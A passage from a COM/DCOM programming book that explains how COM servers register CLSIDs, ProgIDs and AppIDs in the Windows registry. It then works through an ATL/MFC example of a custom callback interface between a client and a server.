often find other values under this key. Many of these are keys for
specific OLE components.
Registration of ProgIDs
ProgID stands for programmatic identifier. The ProgID is a
human readable name for the COM class. This is usually the
component name used with imported Type libraries (using smart
pointers), or when creating Visual Basic objects. Ultimately, the
CLSID is the unique identifier for each COM object. The CLSID is
always unique, ProgID’s are not. ProgID’s are just a convenience
for locating the CLSID.
Here’s the smart pointer example:
IBasicTypesPtr pI( _T(“BasicTypes.BasicTypes.1”) );
And the Visual Basic line:
Registry Entry
Description
AppID
Associates the AppID with the CLSID. The AppID
can be looked up under the \AppID key in the
registry.
InprocServer32
The filename and path of a DLL that supports the
CLSID.
LocalServer32
The filename and path of a server application that
supports the CLSID.
ProgID
The ProgID of the class with a version number.
ThreadingModel
Specifies the threading model for the CLSID if it is
not specified. Values can be Apartment, Both, and
Free. This key is used with InprocServer32 for in-
process servers.
VersionIndependant-
ProgID
The ProgID of the class, without a version num-
ber.
Table 11.2
Standard CLSID values in the registry.
Registration of ProgIDs
173
Additonal Information and Updates: http://www.iftech.com/dcom
Set Testobj = CreateObject(“BasicTypes.BasicTypes.1”)
The COM subsystem will take this name and look it up in
the Registry under ProgID. There are two main ProgID entries
under HKEY_CLASSES_ROOT. Here’s what they look like:
As you can see, COM can look up the ProgID either with or
without a version number. Once the ProgID is found, it is used
to determine the CLSID, which is required to create the object.
Most
of
the
entries
you’ll
find
under
the
HKEY_CLASSES_ROOT branch are ProgID’s. These typically
have the format of <Vendor>.<Component>.<Version>. You’ll
quickly see that there is a huge variation on this standard. Typi-
cally the ATL wizard generates ProgID’s that don’t follow the
standard. ATL names have the format <Name>.<Name>.<Ver-
sion>. If you want to follow the standard you’ll have to modify
the code that the wizard generated files.
The ProgID shows up in several other places. You’ll often
find a copy of the ProgID under the key of a specific CLSID.
Figure 11–5
The CLSID and ProgID stored in the registry
-
HKEY_CLASES_ROOT
-
BasicTypes.BasicTypes = BasicTypes Class
+
CurVer = BasicTypes.BasicTypes.1
-
BasicTypes.BasicTypes.1 = BasicTypes Class
+
CLSID = {543FB20E-6281-11D1-BD74-204C4F4F502
174 Chapter 11 •
The COM Registry
Registration of AppIDs
AppID stands for Application Identifier. The AppID key is found
under HKEY_CLASSES_ROOT in the registry. You’ll also find an
AppID string under the CLSID registry key for a COM Class.
AppIDs are used by DCOM to group information about the
COM applications. Many COM servers support more than one
COM object. The AppID may contain information about how to
run the server, if it runs on a remote computer, and access per-
missions.
Here are some common values found under the AppID key:
Self-Registration in ATL Servers
There are several ways the server can write entries into the regis-
try. The most direct method is to write a program that writes its
values directly into the registry using the Registry API calls. This
is conceptually simple, but can be very frustrating in practice.
Registry Entry
Description
RemoteServerName
The name of a server on a remote computer. This
is required if the client program doesn’t specify
the server in the COSERVERINFO structure when
calling CoCreateInstnaceEx().
LocalService
Used to specify that a server runs as a Windows
NT service. Used in conjunction with ServicePa-
rameters.
ServiceParameters
This is the command line passed to the server
when it is started as a Windows NT service. Value
= “-Service”
RunAs
Specifies that the server be run as a specific user.
This is often used to give the server network priv-
ileges of a particular user.
Table 11.3
Common AppID values
The RGS File
175
Additonal Information and Updates: http://www.iftech.com/dcom
COM provides a standard interface (IRegister) for registra-
tion. In this section, we’ll look at how ATL and the ATL wizard
handles object registration.
The RGS File
If you look at the resources for an ATL wizard generated server,
you’ll see a section that contains registry entries.
These resources are used to identify a new type of registry
script. If you look in the file list of the project you’ll see a file
with the extension “RGS” for each of these entries. Double click
on these “REGISTRY” resources and you’ll see that they are text
file containing the server’s registration commands.
This file will be used to automatically update the registry
entries for the server. You may be familiar with “REG” scripts
used with the REGEDIT application -- the RGS scripts are used
by a completely different application. The server’s ATL classes
implement a special COM interface called IRegister. This inter-
face executes the scripts. IRegister has a limited ability to add,
delete, and make simple text substitutions. Here’s an example of
one of the RGS files.
Figure 11–6
Registry resources produced by ATL
176 Chapter 11 •
The COM Registry
HKCR
{
BasicTypes.BasicTypes.1 = s ‘BasicTypes Class’
{
CLSID = s ‘{543FB20E-6281-11D1-BD74-
204C4F4F5020}’
}
BasicTypes.BasicTypes = s ‘BasicTypes Class’
{
CurVer = s ‘BasicTypes.BasicTypes.1’
}
NoRemove CLSID
{
ForceRemove
{543FB20E-6281-11D1-BD74-204C4F4F5020} =
s ‘BasicTypes Class’
{
ProgID = s ‘BasicTypes.BasicTypes.1’
VersionIndependentProgID =
s ‘BasicTypes.BasicTypes’
LocalServer32 = s ‘%MODULE%’
val AppID =
s ‘{543FB201-6281-11D1-BD74-204C4F4F5020}’
}
}
}
The syntax here is straightforward. HKCR stands for
HKEY_CLASSES_ROOT. It immediately creates two entries for
BasicTypes.BasicTypes, and BasicTypes.BasicTypes.1. If you
look under HKEY_CLASSES_ROOT, you’ll see these entries.
The script also writes information into the CLSID key of the
registry. Under CLSID, the script will write a key for the GUID,
and several significant sub-keys such as LocalServer32. Remem-
ber that this script works for both registration and unregistration.
The “NoRemove” keyword tells it not to delete the CLSID branch
when the server unregisters.
Automatic Registration of Remote Servers
177
Additonal Information and Updates: http://www.iftech.com/dcom
Automatic Registration of Remote Servers
If the server runs as an EXE or service, the registration is accom-
plished with a special startup command:
MyServer - RegServer
Let’s look at the code ATL generates. The following was
taken from the WinMain function of the IDLTEST server from
chapter 6, IdlTest.CPP.
if (lstrcmpi(lpszToken, _T(“RegServer”))==0)
{
_Module.UpdateRegistryFromResource(IDR_IdlTest,
TRUE);
nRet = _Module.RegisterServer(TRUE);
bRun = FALSE;
break;
}
When the server is run from the command line, it checks
for the “RegServer” command. This command tells the server to
write its settings into the registry and exit immediately. In this
example object _Module is an ATL class of type CComModule.
The first function called is UpdateRegistryFromResource(). If
you step into this module you’ll see some familiar COM behav-
ior. This CComModule class calls CoCreateInstance on the IReg-
ister interface, then calls a method named ResourceRegister,
passing in the ID of the RGS file’s resource.
The unregistration is simply a mirror image of registration.
The server is invoked with a command line of “UnRegserver”.
Note the boolean FALSE passed into UpdateRegistryFromRe-
source(). Here’s the source from the server main routine:
if (lstrcmpi(lpszToken, _T(“UnregServer”))==0)
{
_Module.UpdateRegistryFromResource(IDR_IdlTest,
FALSE);
nRet = _Module.UnregisterServer();
178 Chapter 11 •
The COM Registry
bRun = FALSE;
break;
}
In-Process Servers
Servers implemented as DLL’s have a different registration
scheme. Each COM DLL must contain two exported functions for
server registration. These are DllRegisterServer and DllUnreg-
isterServer. These functions implement the same registration
functions as a remote COM server.
Because you can’t directly run a DLL, registration is handled
somewhat differently. Windows provides a utility called
REGSVR32, which can register a DLL. The way REGSVR32 works
is that it finds and loads the DLL containing the In-Process server,
then calls the DllRegisterServer function. This is the same utility
that we have used to register Proxy/Stub DLL’s. It is executed
automatically as part of the build process, or you can run it man-
ually.
Using the Registry API
How you accomplish the registration of components is your own
business. If you like doing things the old-fashioned way, you can
skip the RGS files and directly call the registry API functions.
These consist of functions like RegCreateKey() and
RegDeleteValue(). In the old days of COM this is how all server
registration was accomplished. If you’re not familiar with these
functions they can be somewhat counterintuitive. The help files
describe how to use these functions.
Summary
COM uses the registry as an storage area for all information
releated to COM servers and interfaces. When a COM client
Summary
179
Additonal Information and Updates: http://www.iftech.com/dcom
wants to access a COM server, the operating system uses the
information in the registry to find, start and control the server. By
becoming familiar with the information in the registry, you
improve your ability to understand and debug COM applications.
The registry is also one of the areas responsible for many
COM errors. For example, if a server does not properly self-regis-
ter, then the client will not be able to activate it. See the error-
handling appendix, which discusses many of the problems that
can occur in the registry.
180 Chapter 11 •
The COM Registry
T
W
E
L
V
E
12
Callback
Interfaces
So far, all the interfaces we’ve seen are strictly one directional - a
client program connects to a COM server and calls its methods.
Most COM interfaces are driven entirely by the client. The client
makes the connection, uses the connection, and shuts it down
when finished. This works great for simple methods that com-
plete relatively quickly.
For more complex server applications, this client driven
design can break down. Often the server needs to send
responses to the client. For example, a server may need to notify
the client whenever some asynchronous event takes place.
An example of this would be a server that generates reports.
These reports are created from a database, require extensive
searches, and make lengthy calculations. The client GUI program
would call a method on the server called DoReport. The
DoReport method might take several minutes to complete.
Meanwhile, the client GUI would be stalled, waiting for the
report to complete. Obviously, this is a poor design.
A better solution would be for the client GUI to call a
method named StartReport which causes the server to spawn a
worker thread that handles the lengthy report generation. Star-
tReport would start the worker thread and return as soon as it
was started. The client could then do other work, such as dis-
182 Chapter 12 •
Callback Interfaces
playing progress. After several minutes, the server would tell the
client GUI that it was finished. The client GUI would call a
method named GetReportData, and display the complete report.
The simplest way to do this is for the client program to con-
stantly poll the server.
BOOL IsReady;
// Start a worker thread on the server
pI->StartReport();
// Check if report is done
pI->CheckReport( &IsReady );
while(IsReady == FALSE)
{
Sleep( 60000 );// wait 1 minute
pI-> CheckReport ( &IsReady ) )// poll the server
}
// get the report
pI->GetReport( &data )
There are three problems with this code. First, there is
potentially a minute delay before the event is processed
(because of the duration of the Sleep statement). The second
problem is efficiency. You can shorten the Sleep delay at the
expense of efficiency. For remote network connections this
could mean expensive and unnecessary network traffic. The fun-
damental trade off is between responsiveness and efficiency. If
you can afford the waiting, this is a simple way to design an
interface.
A more efficient way to design this program is for the server
to make a COM connection back to the client. When the server
finishes processing, it immediately notifies the client. There are
two ways to do this - custom callback interfaces and connection
points. In essence, we will use COM to create an asynchronous
link from the server to the client.
Client and Server Confusion
183
Additonal Information and Updates: http://www.iftech.com/dcom
While conceptually simple, the implementation of this bi-
directional design can be complex. After debugging a bi-direc-
tional client and server, you may reconsider the polling interface
shown above.
This chapter covers the simpler of the two - custom call-
backs. Connection Points are more flexible, but considerably
more complex and are discussed in the following chapter. Both
of these techniques have advantages and disadvantages in spe-
cific situations.
Client and Server Confusion
Before we embark on further explanation, here are a few words
of caution. This subject can be quite confusing. It is difficult to
keep track of clients and servers. The concepts aren’t all that
complicated, but they are hard to track mentally.
While the diagrams are relatively simple, the description can
be difficult. The basic problem is this: each object is both a COM
client and a COM server. The labels “client” and “server” have lit-
tle meaning in this context.
Another point of distraction is the implementation of call-
backs. To demonstrate this concept, we will need both a server
and client application. Because the two are closely tied together,
we can’t explain one without explaining both. The actual call-
back interface is extremely simple, but the interaction is com-
plex.
Custom Callback Interfaces
A callback is simply a function on the client that is called by the
server. In COM, it’s perfectly OK for a client application to also
expose COM objects. The server can connect back to a client
object. This does blur the distinction between client and server.
184 Chapter 12 •
Callback Interfaces
The COM/OLE world uses the terms ‘source’ and ‘sink’ to
describe bi-directional interfaces. In the above diagram, the cli-
ent application has a sink interface. This interface is used by the
server application to notify its caller. The source is a source of
events. In other words, it’s an object that makes the connection
back to the client application. The source connects to the sink.
We are going to build a dialog-based client program called
‘CallbackClient’ that implements a COM interface. We’ll also
design a server which implements an interface allowing the cli-
ent to ‘register’ itself. Once the client is registered, the server has
a way to connect back to it.
In the COM vocabulary, registering a callback interface with
the server is often called an “Advise”. Basically, the Advise()
method makes a copy of the client’s callback interface, and
stores it for later use. When the client disconnects, it “un-advises”
its callback.
In Figure 2, Notice that the CCallBack object, and its inter-
face, are inside the callback Client Application box. They also
have dashed lines. It was drawn this way to show that ICallBack
interface is not exposed to the outside world. Unlike most COM
objects, this Object cannot be connected through a normal call to
CoCreateInstance(). The only way for the Callback Server to get
this object pointer is when the client explicitly passes it to the
server. We’ll see how this is done in the example.
Figure 12–1
With a callback, the server can talk back to the client
Client
Application
Callback Interface
Server
Applicaiton
Primary Interface
A Callback Example
185
Additonal Information and Updates: http://www.iftech.com/dcom
A Callback Example
Here is an outline of the steps we’ll follow to implement the
server object. We’ll describe each step in more detail below.
1. Create a COM Server using the ATL Wizard. Name the server
CallbackServer.
2. Add a COM object to the server. Name the object Simple-
Callback. Use the ATL object wizard.
3. Add the definition of a COM interface named ICallBack to
the IDL code for the server. Note that we won’t be imple-
menting the ICallBack interface in the server, we’re just add-
ing a definition.
4. Add four methods to the ISimpleCallback interface on the
server: Advise(), UnAdvise(), Now() and Later()
Create the Server
First we’ll define the CCallbackServer server program. There’s
nothing special about this server. Use the wizard to create an
ATL COM AppWizard project. You could implement the server
either as an in-process server, or an EXE based server. Note that
an EXE server is slightly more complex to build, and also harder
to debug.
Figure 12–2
The relationship between server and client when a callback is
used. Note that a COM server to handle the callback is embed-
ded within the client.
ICallback
ISimpleCallback
CSimpleCallback
Object
Server
CallbackClient
CCallback
Object
186 Chapter 12 •
Callback Interfaces
The sample code was built as an EXE server. These tech-
niques work with any type of server - it will work just as well as
a service or a DLL.
Add a COM Object to the Server
Add a COM object to the server using the ATL Object Wizard.
Select a simple COM object. Give it the name SimpleCallback.
On the attributes page select the following:
• Apartment threading model.
• Custom Interface. (Dual would also work)
• Either yes or no for aggregation.
Note that the “Support Connection Points” option is com-
pletely unnecessary for a custom callback method. We’ll use this
option in a later section when we add a Connection Point in the
next chapter.
Next we’ll add four methods: Advise(), UnAdvise(), Now(),
and Later(). Look in the file CallbackServer.IDL. The wizard gen-
erated MIDL definitions have an interface that looks like the fol-
lowing code. I’ve stripped out some extraneous material, and of
course, the GUID’s will be different.
[
object,
uuid(B426A80D-50E9-11D2-85DA-004095424D9A),
helpstring(“ISimpleCallback Interface”),
pointer_default(unique)
]
interface ISimpleCallback : Iunknown
{
HRESULT Advise([in] ICallBack *pICallback,
[out] long *lCookie);
HRESULT UnAdvise([in] long lCookie);
HRESULT Now([in] long lCode);
HRESULT Later([in] long lSeconds);
};
Don’t laugh about the cookies. We’ll explain how they are
used later.
Adding the ICallBack Interface to IDL
187
Additonal Information and Updates: http://www.iftech.com/dcom
Adding the ICallBack Interface to IDL
Next, we’ll add the callback interface definition to the IDL code
of the server. The callback interface will not be implemented by
this server. We will write the callback interface when we write
the Client application. We are just going to add the IDL code.
Although we’re not implementing this interface, the server needs
its definition.
We can’t use the ATL Object Wizard, because it will also add
the CPP and H files. We’re using MIDL as a convenient way to
generate header definitions. We’ll include the headers in the cli-
ent program.
Type in the following definition to the CallbackServer.IDL
file. Put it near the top of the file where it’s easy to find, just
above the definition of the ISimpleCallback interface.
// implemented on the client only
[
object,
uuid(B426A80D-50EA-11D2-85DA-004095424D9A),
helpstring(“ICallBack Interface”),
]
interface ICallBack : Iunknown
{
HRESULT Awake( long lVal );
};
Modify the Header
Now we’ll modify the CSimpleCallback object and add two
member variables. We’ll add a cookie and an ICallBack interface
pointer to the class definition. Find CSimpleCallback in the
header file SIMPLECALLBACK.H. Add these two variables to the
public part of the class definition.
long m_lCookie;
ICallBack *m_ICallBack;
188 Chapter 12 •
Callback Interfaces
Adding the Advise Method to the Server
Now we’ll add code to SimpleCallback.CPP. The first method
we’ll add is Advise(). The purpose of this method is to save a
pointer to the client’s callback interface. The client program will
call this method, passing in a pointer to its callback interface.
Note that the client is responsible for creating the ICallBack
interface pointer - we’re NOT going to call CoCreateInstance.
// Register the callback
STDMETHODIMP CSimpleCallback::Advise(ICallBack
*pICallback, long *lCookie)
{
// Save the pointer
m_ICallBack = pICallback;
// keep the interface alive by calling AddRef
m_ICallBack->AddRef();
// Make up a cookie with a semi-unique number
*lCookie = (long)this ;
m_lCookie = *lCookie;
return S_OK;
}
The client passes in a pointer to its own COM interface. This
method will do an AddRef() on the callback interface, and save
the ICallBack COM pointer. All AddRef is going to do is incre-
ment the ICallBack interface reference count.
Notice that the client passed us an ICallBack interface.
There is no ambiguity here - this method only accepts ICallBack
interfaces. When we use connection points later, we’ll see that
they are more flexible.
Finally, we get to the cookie. You may already be familiar
with Internet cookies - COM cookies are somewhat different.
The cookie is a unique ID that the server retains to keep track of
connected clients. The server will use this value later, when it
needs to close down the connection. We’ve used the this pointer
for a semi-unique number. The cookie only has to be unique
within the context of our server.
Adding the UnAdvise Method
189
Additonal Information and Updates: http://www.iftech.com/dcom
The only purpose of the cookie is to ensure that the client
un-advises the same interface it advised. This is an unnecessary
check in this example program, but more complex servers may
require it.
Adding the UnAdvise Method
Let’s take a look at the UnAdvise() method. It is going to close
the connection made by the previous call to Advise().
// Remove the callback object
STDMETHODIMP CSimpleCallback::UnAdvise(long lCookie)
{
// Compare the cookie. Be sure this is same client
if (lCookie != m_lCookie) return E_NOINTERFACE;
// Release the clients interface
m_ICallBack->Release();
m_ICallBack = NULL;
return S_OK;
}
We check the cookie to ensure this is the right client. In this
example there’s not much to do if the cookie is wrong, so we
return a generic COM error. Finally, we Release the interface
pointer we’ve been saving. Remember, we did an AddRef() in
the Advise method. This will allow the client to shut down with
no outstanding connections.
Calling the Client from the Server
Now we get to the heart of our callback interface - the callback!
All that this function calls is a method on the client (sink) inter-
face. Since we already have the pointer, this method works just
like any COM interface. The Awake method is quite simple, but
there’s nothing to prevent methods that are more complex. In
190 Chapter 12 •
Callback Interfaces
fact, our Later() method will be used later to demonstrate a
multi-threading example.
// Callback the client immediately
STDMETHODIMP CSimpleCallback::Now( long lCode)
{
HRESULT hr = E_FAIL;
if (m_ICallBack != NULL)
{
// Call method synchronously.
// This will not return until
// the client presses OK on the MessageBox.
hr = m_ICallBack->Awake( lCode );
}
return hr;
}
This isn’t a very realistic use for a callback interface. Nor-
mally, the server (source) object would execute the callback with
some important notification for its client. With a little imagina-
tion, you can come up with useful implementations of a call-
back.
Notice that the call to Awake() is synchronous. That means
the client’s call to Now() won’t complete until the server’s
Awake() callback completes. This means the client is waiting for
itself! This doesn’t solve our original problem of waiting for the
server. Don’t worry, we will provide a usable threading solution
later with the Later() method. For now, the Now() method will
demonstrate basic concepts.
If this discussion seems a little hypothetical, it’s because we
haven’t seen the client application yet.
Note: Build the server, and don’t forget to build the Proxy/Stub DLL. Use the BuildMe.bat file to automate
this task. We’ll add the Now and Later implementation later, but the MIDL code won’t change. The test client
requires these MIDL generated headers.
The Client Application
191
Additonal Information and Updates: http://www.iftech.com/dcom
The Client Application
With the client application we’re going to do something a little
different. Up to this point, we’ve implemented all our COM
objects using the ATL wizards. For this program we’re going to
write the ATL code ourselves. It’s really quite easy.
The client is a standard MFC dialog-based application. This
will be a plain-vanilla MFC dialog application, which we will
modify to implement a COM object. Next we’ll write the callback
(sink) COM object. Finally, these two elements will be hooked
together. Here’s the sequence of events.
1. Create an MFC Dialog Based Application. Call it CallbackCli-
ent.
2. Modify the client’s main program to support the Callback
Interface (ICallBack). The definition of the ICallBack object
comes from the MIDL code of the CallbackServer server.
We’ll set everything up in the application InitInstance and
ExitInstance methods.
3. Attach code to the button that tests the callback.
Create the Client Dialog Application
Go to the File/New tab and create a new MFC AppWizard
project. I’ve named the project CallbackClient. Take all the stan-
dard dialog application options.
The
AppWizard
will
create
a
dialog
named
IDD_CALLBACKCLIENT_DIALOG. Edit this dialog and delete the
OK button. Leave the Cancel button.
Next we’ll add a new button, with the ID as
IDD_BUTTON1. Change the text of the button to read “Now”.
Add IDD_BUTTON2 for the “Later” button. The dialog should
now look similar to Figure 12-3.
Next, edit the STDAFX.H file to include ATL. If you leave
out this line, the compiler won’t recognize ATL templates such as
CComModule. Add the following line near the end of STDAFX.H:
#include <atlBase.h>
192 Chapter 12 •
Callback Interfaces
Our dialog should now compile, but it will just be an empty
shell. In the examples that follow we will be leaving out the part
of the application we haven’t modified. We will only present
enough of the application framework to give a context. For a
holistic look at this application you’ll need to look at the exam-
ple source code on the CD.
Adding the Callback COM Object
Next we’re going to modify the CallbackClient application to
support our ICallBack interface. To do this, we’ll have to manu-
ally add a COM object to the application. This is the first time
we’re not going to use the ATL wizards, but it’s really easy to do.
Edit the main application source module, CallbackCli-
ent.CPP, and add the following class definition at the top, just
after the #include section.
CComModule _Module; // Define main COM module.
// Required for <atlcom.h>
#include <atlcom.h> // definition of CcomObjectRoot
Figure 12–3
The sample application is a simple dialog
The Client Application
193
Additonal Information and Updates: http://www.iftech.com/dcom
// Callback interface to be implemented on client
class CCallBack :
public ICallBack, // Use this interface
// (server.idl)
public CComObjectRoot // Use ATL
{
public:
CCallBack() {} // Default constructor
// Define COM object map
BEGIN_COM_MAP(CCallBack)
COM_INTERFACE_ENTRY(ICallBack)
END_COM_MAP()
// Icallback
public:
// The callback method
STDMETHOD(Awake)(long lVal);
};
// Create object map for callback interfaces
BEGIN_OBJECT_MAP(ObjectMap)
END_OBJECT_MAP()
There’s a lot going on here so we’ll break it up into smaller
bites.
First, we need to include ATL in the source code. This is
done by including <atlcom.h>. If you just plop this definition
down anywhere in the code, you’ll get lots of errors. This is
because this ATL header is assuming a main module named
“_Module” is already defined. “_Module” is a magic name, and
you’ll have to declare it in every ATL module.
The ATL class CComModule handles all the plumbing of
starting, stopping, and registering a COM server. Needless to say,
there’s a lot going on in CComModule. Fortunately, we don’t
have to understand all this behind-the-scenes magic to use it.
CComModule _Module;
194 Chapter 12 •
Callback Interfaces
Once this symbol is defined, we can proceed with our class
definition. We’re going to inherit from ICallback, and the root of
all ATL objects, CComObjectRoot. This class is required for all
ATL objects, it provides the required implementation of IUn-
known - in other words, QueryInterface, AddRef, and Release.
// Callback interface to be implemented on client
class CCallBack :
public ICallBack, // Use this interface
// (server.idl)
public CComObjectRoot // Use ATL
Linking to the Server Headers
The definition of ICallBack is a bit of a mystery here. Remember,
this Interface is defined in the CallbackServer server. We put a
definition of the interface in the IDL code for the server. When
MIDL was executed, it emitted two very useful files:
CallBackServer_i.c and CallBackServer.h. The “i.c” file includes
GUID definitions, and the “.h” file defines the ICallBack interface
in C++.
To get these definitions, include the following statements in
the header file CallbackClient.h:
#include “..\CallbackServer\CallBackServer_i.c”
#include “..\CallbackServer\CallBackServer.h”
You may need to change the path to these files, depending
on where the client and server project was created.
COM Maps
Meanwhile, back at the CallbackClient.CPP module, we need to
add some more code. The next part of the class is the interface
map. This interface map sets up an array of interface IID’s . The
COM object will use these IID’s when it calls QueryInterface.
These macros hide a lot of code, and if you mistype any of the
entries you may get some unusual, and apparently unrelated,
error messages. Luckily, our COM object only has one interface.
The Client Application
195
Additonal Information and Updates: http://www.iftech.com/dcom
BEGIN_COM_MAP(CCallBack)
COM_INTERFACE_ENTRY(ICallBack)
END_COM_MAP()
Implementing the Callback Method
This COM object has only a single method called Awake. All that
our implementation does is display a message box.
STDMETHODIMP CCallBack::Awake(long lVal)
{
CString msg;
msg.Format( “Message %d Received”, lVal );
AfxMessageBox( msg );
return S_OK;
}
In a real-life implementation of a callback, this method
might be considerably more complex. The purpose of this
method is to notify the client application of a server event, such
as report completion. Obviously, there isn’t any code in this
example to do this, so we simulate it with a Message Box.
There are also some significant threading issues here. We
need to be aware that the dialog box and CCallBack objects are
running in the same apartment (i.e. thread). You’ve got to be
careful about the callback blocking execution for the dialog.
At the end of the CallbackClient.CPP file, we have the nor-
mal AppWizard generated MFC application class. In this case, the
application is called CCallbackClientApp, and inherits from CWi-
nApp - a standard dialog based application. We’re going to add a
few lines of code to set-up our server connection.
Adding the Object Map
The object map is located just after the class definition. The pur-
pose of this structure is to maintain an array of ATL objects that
will be supported. We’re not exposing any ATL objects to the
outside world, so we don’t need any entries. Any ATL objects
that are put in this structure will be registered when
_Module.Init() is called.
196 Chapter 12 •
Callback Interfaces
// Create object map for callback interfaces
BEGIN_OBJECT_MAP(ObjectMap)
END_OBJECT_MAP()
That points out another difference between our ICallBack
interface and a normal COM interface. We aren’t allowing other
programs to instantiate a CCallBack object and interface by call-
ing CoCreateInstance. It isn’t necessary because we’ll be creating
the object internally, and explicitly passing it to any outside
objects that need it.
Connecting to the Server
In COM, everything starts with the client. By defining our CCall-
Back class first, we’re getting ahead of ourselves. Before any-
thing can happen, we need to initialize COM and connect to the
server. We’re doing this in the application’s InitInstance method.
InitInstance is a standard method of CWinApp, and gets
called to display the application’s main dialog.
// Initialize the application
BOOL CCallbackClientApp::InitInstance()
{
AfxEnableControlContainer();
// Initialize COM interfaces
InitCOM();
etc...
We’ve added the InitCOM method, which we’re about to
implement. Add this method to the header and enter the follow-
ing code.
BOOL CCallbackClientApp::InitCOM()
{
HRESULT hr;
CoInitialize(0); // Initialize COM
Connecting to the Server
197
Additonal Information and Updates: http://www.iftech.com/dcom
// Initialize the main ATL object
_Module.Init( ObjectMap, 0 );
// Create a server object
m_pSimple = NULL;
hr = CoCreateInstance( CLSID_SimpleCallback,
0,CLSCTX_SERVER,IID_ISimpleCallback(void**)&m_pSimpl
e );
if (SUCCEEDED(hr))
{
// Create a callback object
CComObject<CCallBack>* pCallBack = NULL;
CComObject<CCallBack>::CreateInstance( &pCallBack
);
pCallBack->AddRef();
// Set up the callback connection
hr = m_pSimple->Advise( pCallBack, &m_lCookie );
// Done with our ref count. Server did an AddRef
pCallBack->Release();
}
return SUCCEEDED(hr);
}
We must, of course, start by initializing the COM subsystem.
We’re using apartment threading, so the old-fashioned CoInitial-
ize works fine. Next, we initialize the ATL main module. This is
done by calling the Init() method on the _Module object. This
gets ATL going and ready to serve the CCallBack COM object.
hr = CoCreateInstance( CLSID_SimpleCallback,
0, CLSCTX_SERVER,
IID_ISimpleCallback,
(void**)&m_pSimple );
We connect to the server in the usual way, with CoCre-
ateInstance. This starts up the server and delivers a server-side
COM interface. If you haven’t done all of your server registration
198 Chapter 12 •
Callback Interfaces
correctly, you’ll probably get an error like “Class Not Registered”
here. If you did everything perfectly on the server, we’re ready to
call Advise and register our callback interface with the server.
CComObject<CCallBack>* pCallBack = NULL;
CComObject<CCallBack>::CreateInstance( &pCallBack );
pCallBack->AddRef();
This code looks a lot like ATL templates - for good reason.
We use the CComObject template to define a pointer to our cli-
ent-side CCallBack class. We instantiate this class using its Cre-
ateInstance method.
CreateInstance is a static method that provides an efficient
way to create a local COM object. There’s more going on here
than first meets the eye. Notice that we’re not calling CoCreateIn-
stance, the usual way of getting a COM interface. We’re cheating
a little because CCallBack is implemented locally.
Normally, COM restricts access to COM objects to their inter-
faces only. That doesn’t make sense here because we’re actually
implementing the object. The object creation process is nor-
mally hidden by CoCreateInstance, but in this case, we can see
it. Because everything’s local, we skip all CLSID’s and registra-
tion entirely. We do an AddRef on the object, to ensure that it
stays around for a while.
hr = m_pSimple->Advise( pCallBack, &m_lCookie );
// Done with our ref count. Server did an AddRef
pCallBack->Release();
We created this COM object so we could pass it into the
server. This is done in the Advise method. If you remember the
server side, the interface is copied and AddRef’ed by the server.
This leaves us free to release the object, and let normal COM
lifetime management take its course. In the implementation of
UnAdvise, we’ll see where the CCallBack object is finally
released and can shut itself down
Connecting to the Server
199
Additonal Information and Updates: http://www.iftech.com/dcom
Cleaning Up
Eventually, the user is going to press the cancel button and shut
down the application. At this point, we need to close the server
connection and UnAdvise our callback. We put this code in Exit-
Instance, which is called right before the application shuts down.
ExitInstance is a virtual method of CWinApp. We’ll add ExitIn-
stance to the CCallbackClientApp header, and enter the follow-
ing code.
int CCallbackClientApp::ExitInstance()
{
// If we have a server object, release it
if (m_pSimple != NULL)
{
// Remove server’s callback connection
m_pSimple->UnAdvise(m_lCookie);
// Release the server object
m_pSimple->Release();
}
// Shut down this COM apartment
CoUninitialize();
return 0;
}
This is very straightforward code. We UnAdvise our callback
and release the server. Finally we shut down the COM apartment
with CoUninitialize.
This concludes the application portion of our server. What’s
left is almost trivial - we add the button methods for Now and
Later.
Adding the OnButton Code
Now that we have wired-in our callback sink into the main
application, it’s time to build a test method. We’re going to hook
this test method up into the “Now” button on the main dialog.
Use the class wizard to add a method to the dialog called
OnButton1. You can also add the method for the “Later” button.
200 Chapter 12 •
Callback Interfaces
The class wizard will generate all the usual message maps
for the two buttons. We’re creating these methods on the actual
dialog class, not the main application. The end result is two
OnButton methods on the CCallbackClientDlg dialog. These two
OnButton methods will act as our test platform.
void CCallbackClientDlg::OnButton1()
{
HRESULT hr;
CCallbackClientApp *pApp =
(CCallbackClientApp*)AfxGetApp();
hr = pApp->m_m_pSimple->Now(1);
if (!SUCCEEDED(hr)) AfxMessageBox( “Call Failed” );
}
void CCallbackClientDlg::OnButton2()
{
HRESULT hr;
CCallbackClientApp *pApp =
(CCallbackClientApp*)AfxGetApp();
hr = pApp->m_pSimple->Later(5);
if (!SUCCEEDED(hr)) AfxMessageBox( “Call Failed” );
}
Since we already connected to the server in InitCOM, we
don’t have to do much here. We just get a pointer to the main
application and use its COM pointer. We call AfxGetApp() to get
a pointer back to our main application. The COM interface
pointer is called “m_pSimple”, and we use it to call a method.
Note that we haven’t implemented the Later method on the
server. It won’t do anything. At this point, the code is complete.
We have presented a large block of source - it was unavoidable.
This example covers a complex interaction between a client and
server. Build the client and press the “Now” button.
A Chronology of Events
201
Additonal Information and Updates: http://www.iftech.com/dcom
A Chronology of Events
The purpose of the following list is to follow the sequence of
events required to make the callback. Since a callback involves
the close interaction of a client and server application, we’ve
included both sequences here.
CLIENT DIALOG
COM SERVER
The client application is started. It
calls InitInstance() on the application
class. This will initialize the objects
required for the application.
The InitCOM() method is called. This
is a custom method we wrote to ini-
tialize all COM objects. CoInitialize is
called to initialize COM.
InitCOM creates a CCallBack object
using CComObject::CreateInstance.
This object will remain in existence
during the lifetime of the client. It is
an ATL COM object.
InitCOM() instantiates an ISimpleCall-
back interface on the server applica-
tion by using CoCreateInstance().
The server will be automatically
started, and the CSimpleCallback
object is created. This object will
remain until the client releases it.
InitCOM() passes a pointer to a CCall-
Back object to the server’s Advise()
method
.
The Advise method makes a copy of
the ICallBack interface. It calls AddRef
to lock the object. It creates a cookie
and returns control to the client.
InitCallback() releases the CCallBack
object created with CreateInstance.
202 Chapter 12 •
Callback Interfaces
...
...
The user presses the “NOW” button,
calling OnButton1. The client program
calls Now() on the server
The Now method immediately calls
Awake on the client. It uses the saved
ICallBack interface it received in
Advise.
Awake displays a message box. The
user presses OK to clear the box.
Awake completes.
The call to Awake returns. The Now
method completes.
The call to OnButton1 method com-
pletes.
...
...
The user presses the “CANCEL” but-
ton. The main dialog closes and is
destroyed. The main application calls
ExitInstance.
ExitInstance calls UnAdvise, passing in
the cookie.
UnAdvise releases the ICallBack inter-
face and returns.
The CCallBack objects reference
count goes to 0. ATL automatically
shuts down and deletes the CCallBack
object.
